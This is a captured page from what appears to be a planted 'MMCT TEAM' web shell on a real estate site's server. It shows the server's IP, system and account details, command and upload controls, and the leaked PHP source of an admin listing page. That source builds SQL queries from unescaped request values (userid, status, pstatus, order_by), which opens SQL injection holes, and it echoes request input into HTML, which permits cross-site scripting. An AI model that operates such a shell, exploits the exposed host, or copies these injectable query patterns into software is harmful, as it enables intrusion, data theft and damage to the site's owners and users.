MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.15.228.171
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/uttamnagarproperties.com/uttam-admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/uttamnagarproperties.com/uttam-admin/user-posted-properties.php
<?php
require_once("../includes/dbsmain.inc.php");
$USERID = $_REQUEST['userid'];
if(is_post_back()) {
	$arr_ids = $_REQUEST['arr_ids'];
	if(is_array($arr_ids)) {
		$str_ids = implode(',', $arr_ids); 
		if(isset($_REQUEST['Delete']) || isset($_REQUEST['Delete_x']) ) {
			db_query("delete from tbl_posted_properties where posted_properties_id in ($str_ids)");
		} else if(isset($_REQUEST['Activate']) || isset($_REQUEST['Activate_x']) ) {
			db_query("update tbl_posted_properties set posted_properties_status = 'Approved' where posted_properties_id in ($str_ids)");
		} else if(isset($_REQUEST['Deactivate']) || isset($_REQUEST['Deactivate_x']) ) {
			db_query("update tbl_posted_properties set posted_properties_status = 'Pending' where posted_properties_id in ($str_ids)");
		} else if(isset($_REQUEST['SETFLASH']) || isset($_REQUEST['SETFLASH_x']) ) {
			db_query("update tbl_posted_properties set posted_properties_for_flash = 'Yes' where posted_properties_id in ($str_ids)");
		} else if(isset($_REQUEST['UNSETFLASH']) || isset($_REQUEST['UNSETFLASH_x']) ) {
			db_query("update tbl_posted_properties set posted_properties_for_flash = 'No' where posted_properties_id in ($str_ids)");
		} else if(isset($_REQUEST['SETFEATURE']) || isset($_REQUEST['SETFEATURE_x']) ) {
			db_query("update tbl_posted_properties set posted_properties_is_feature = 'Yes' where posted_properties_id in ($str_ids)");
		} else if(isset($_REQUEST['REMOVEFEATURE']) || isset($_REQUEST['REMOVEFEATURE_x']) ) {
			db_query("update tbl_posted_properties set posted_properties_is_feature = 'No' where posted_properties_id in ($str_ids)");
		}
	}
	header("Location: ".$_SERVER['HTTP_REFERER']);
	exit;
}

$start = intval($start);
$pagesize = intval($pagesize)==0?$pagesize=DEF_PAGE_SIZE:$pagesize;

$order_by == '' ? $order_by = 'posted_properties_id' : true;
$order_by2 == '' ? $order_by2 = 'desc' : true;
 if(($_REQUEST['status'] =='') && ($_REQUEST['pstatus'] =='')){
$sql = "select * from  tbl_posted_properties where 1 and posted_properties_user_id='$USERID'";
}
if($_REQUEST['status'] !=''){
$sql = "select * from  tbl_posted_properties where 1 and posted_properties_status='".$_REQUEST['status']."' and posted_properties_user_id='$USERID'";
}
if($_REQUEST['pstatus'] !=''){
$sql = "select * from  tbl_posted_properties where 1 and posted_properties_rent_sale='".$_REQUEST['pstatus']."' and posted_properties_user_id='$USERID'";
}
$sql = apply_filter($sql, $reg_name, 'like','posted_properties_title');
$sql .= " order by $order_by $order_by2 ";
$sql .= " limit $start, $pagesize ";

$pager = new midas_pager_sql($sql, $pagesize, $start);
if($pager->total_records) {
	$result = db_query($sql);
}

?>
<script >
function PopupWindowCenter(URL, title,w,h)
{var left = (screen.width/2)-(w/2);
var top = '20px';
var newWin = window.open (URL, title, 'toolbar=no, location=no,directories=no, status=no, menubar=no, scrollbars=no, resizable=no,copyhistory=no, width='+w+', height='+h+', top='+top+', left='+left);
}
</script>
<link href="styles.css" rel="stylesheet" type="text/css">
<script language="JavaScript" type="text/javascript" src="../includes/general.js"></script>
<? include("top.inc.php");?>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td id="pageHead"><div id="txtPageHead"> User Properties List </div></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td id="content"><form method="get" name="form2" id="form2" onSubmit="return confirm_submit(this)">
        <br />
        <table  border="0" width="320px" height="85px" align="center" cellpadding="2" cellspacing="0" class="tableSearch">
          <tr align="center">
            <th colspan="3">Search</th>
          </tr>
          <tr>
            <td class="tdLabel" width="70px"><span style="margin-left:30px;">Title</span></td>
            <td><input name="reg_name" type="text" value="<?=$reg_name?>" style="width:230px" /></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
            <td><input name="pagesize" type="hidden" id="pagesize" value="<?=$pagesize?>" />
              <input type="image" name="imageField" src="images/buttons/search.gif" /><?php if($_REQUEST['status']!=''){ ?><a href="admin-sell-properties.php" style="margin-left:5px; font-size:13px; font-weight:bold;">Back</a><? } ?></td>
          </tr>
        </table>
      </form>
      <br />
      <? if($pager->total_records==0) {?>
      <div class="msg">Sorry, no records found.</div>
      <? } else { ?>
      <div align="right">
        <? $pager->show_displaying()?>
      </div>
      <?php
$totalSale = db_scalar("select count(*) from tbl_posted_properties where 1 and posted_properties_user_id='$_REQUEST[userid]' and posted_properties_rent_sale='For Sale'");
$totalRent = db_scalar("select count(*) from tbl_posted_properties where 1 and posted_properties_user_id='$_REQUEST[userid]' and posted_properties_rent_sale='For Rent'");
$totalLease = db_scalar("select count(*) from tbl_posted_properties where 1 and posted_properties_user_id='$_REQUEST[userid]' and posted_properties_rent_sale='For Lease'");
?>
      <div>Records Per Page:
        <?=pagesize_dropdown('pagesize', $pagesize);?>
        <span style="margin-left:20px; font-size:11px; font-weight:bold; letter-spacing:1px;">FILTER BY : 
        <span style="color:#D74600"><a href="user-posted-properties.php?userid=<?=$_REQUEST['userid']?>&status=Approved">APPROVED</a> </span> or 
        <span style="color:#D74600"><a href="user-posted-properties.php?userid=<?=$_REQUEST['userid']?>&status=Pending">PENDING</a> </span> or 
        <span style="color:#D74600"><a href="user-posted-properties.php?userid=<?=$_REQUEST['userid']?>&pstatus=For Rent">RENT <span style="color:#03C;">(<?=$totalRent?>)</span></a> </span> or 
        <span style="color:#D74600"><a href="user-posted-properties.php?userid=<?=$_REQUEST['userid']?>&pstatus=For Sale">SALE <span style="color:#03C;">(<?=$totalSale?>)</span></a> </span> or  
        <span style="color:#D74600"><a href="user-posted-properties.php?userid=<?=$_REQUEST['userid']?>&pstatus=For Lease">LEASE <span style="color:#03C;">(<?=$totalLease?>)</span></a> </span> or 
        <span><a href="user-posted-properties.php?userid=<?=$_REQUEST['userid']?>">All</a> </span></span> </div>
      <form method="post" name="form1" id="form1" onSubmit="confirm_submit(this)">
        <table width="100%"  border="0" cellpadding="0" cellspacing="1" class="tableList">
          <tr>
            <th width="20%" nowrap="nowrap" style="font-size:12px; padding:9px;">Project Name / Title / Price</th>
            <th width="10%" nowrap="nowrap" style="font-size:12px; padding:9px;">Location </th>
            <th width="17%" nowrap="nowrap" style="font-size:12px; padding:9px;">Address </th>
            <th width="10%" nowrap="nowrap" style="font-size:12px; padding:9px;">Type</th>
            <th width="5%" nowrap="nowrap" style="font-size:12px; padding:9px;">Status<br>/For flash</th>
            <th width="7%" nowrap="nowrap" style="font-size:12px; padding:9px;">Date <?=sort_arrows('reg_add_date')?></th>
            <th width="7%" nowrap="nowrap" style="font-size:12px; padding:9px;">Status <?=sort_arrows('posted_properties_status')?><br>/Is Feature</th> 
                 <th width="3%" nowrap="nowrap" style="font-size:12px; padding:9px;">&nbsp;</th>      
    <th width="3%" style="font-size:12px; padding:9px;"><input name="check_all" type="checkbox" id="check_all" value="1" onClick="checkall(this.form)" /></th>
          </tr>
          <?
while ($line_raw = mysqli_fetch_array($result)) {
	$line = ms_display_value($line_raw);
	@extract($line);
	$css = ($css=='trOdd')?'trEven':'trOdd';
?>
          <tr class="<?=$css?>" align="center">
        <td nowrap="nowrap" style="font-size:12px;">
         <p><strong><?=$posted_properties_project?></strong></p>
		 <p><?=$posted_properties_title?></p>
         <p align="center" style="color:blue;"><strong>( <?=$posted_properties_price?> <?=$posted_properties_price_postfix?> )</strong></p>
         <p align="center"><strong><strong><a href="addedit-adminsell-properties.php?userID=<?=$posted_properties_user_id?>">Add Property</a></strong></strong></p>
        <p>&nbsp;</p></td>            
        <td align="center" style="font-size:12px;"><p><?=$posted_properties_loc_parent?></p> <p><?=$posted_properties_loc_child?></p></td>
            <td align="center" style="font-size:12px;"><?=$posted_properties_address?></td>
            <td align="center" style="font-size:12px;"><p><?=$posted_properties_type_parent?></p><p><?=$posted_properties_type_child?></p></td>
            <td align="center"><p style="font-size:12px; font-weight:bold;"><?=$posted_properties_rent_sale?></p>
            <p style="font-size:12px; color:<?php if($posted_properties_for_flash=='Yes'){ ?>#090<? }else{ ?>#f00<? } ?>;"><strong>( <?=$posted_properties_for_flash?> )</strong></p>
			</td>
            <td align="center" style="font-size:12px;"><?=$posted_properties_add_date?></td>
            <td align="center" style="font-size:12px; color:<?php if($posted_properties_status=='Approved'){ ?>#090<? }else{ ?>#f00<? } ?>;">
            <p><strong><?=$posted_properties_status?></strong></p>
            <p style="font-size:12px; color:<?php if($posted_properties_is_feature=='Yes'){ ?>#090<? }else{ ?>#f00<? } ?>;"><strong>( <?=$posted_properties_is_feature?> )</strong></p>
            </td>
            <td align="center" style="font-size:12px;"><a href="addedit-adminsell-properties.php?propertyID=<?=$posted_properties_id?>"><img src="images/icons/edit.png" alt="Edit" width="16" height="16" border="0" /></a></td>
            <td align="center"><input name="arr_ids[]" type="checkbox" id="arr_ids[]" value="<?=$posted_properties_id?>" /></td>
          </tr>
          <? } ?>
        </table>
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td align="right" style="padding:2px">
            <input type="submit" name="SETFEATURE" value="Show In Feature" class="button" onClick="return select_chk()" style="font-size:13px; font-weight:bold; height:32px; background-color:#A35114; border-radius:4px; cursor:pointer; width:150px;"/>
              <input type="submit" name="REMOVEFEATURE" value="Remove From Feature" class="button" onClick="return select_chk()" style="font-size:13px; font-weight:bold; height:32px; background-color:#4F4F4F; border-radius:4px; cursor:pointer; width:180px;" />
            <input type="submit" name="SETFLASH" value="Show In Flash" class="button" onClick="return select_chk()" style="font-size:13px; font-weight:bold; height:32px; background-color:#00458A; border-radius:4px; cursor:pointer; width:130px;"/>
              <input type="submit" name="UNSETFLASH" value="Remove From Flash" class="button" onClick="return select_chk()" style="font-size:13px; font-weight:bold; height:32px; background-color:#A98518; border-radius:4px; cursor:pointer; width:160px;" />
              <input type="submit" name="Activate" value="Approved" class="button" onClick="return select_chk()" style="font-size:13px; font-weight:bold; height:32px; background-color:#1F3E00; border-radius:4px; cursor:pointer; width:110px;"/>
              <input type="submit" name="Deactivate" value="Pending" class="button" onClick="return select_chk()" style="font-size:13px; font-weight:bold; height:32px; background-color:#FF6F6F; border-radius:4px; cursor:pointer; width:110px;" />
              <input type="submit" name="Delete" value="Delete" class="button" onClick="return select_chk()" style="font-size:13px; font-weight:bold; height:32px; background-color:#CA0000; border-radius:4px; cursor:pointer; width:110px;"/>
            </td>
          </tr>
        </table>
      </form>
      <?php $pager->show_pager();?>
      <? } ?>
    </td>
  </tr>
</table>
<?php include("bottom.inc.php");?>
<script language="javascript">
function select_chk(){
			var chks = document.getElementsByName('arr_ids[]');
			var hasChecked = false;
			for (var i = 0; i < chks.length; i++){
			if (chks[i].checked){
				hasChecked = true;
				break;
				}
			}
			if (hasChecked == false){
			alert("Please Select At Least One.");
			return false;
			}
}
</script>

MMCT - 2023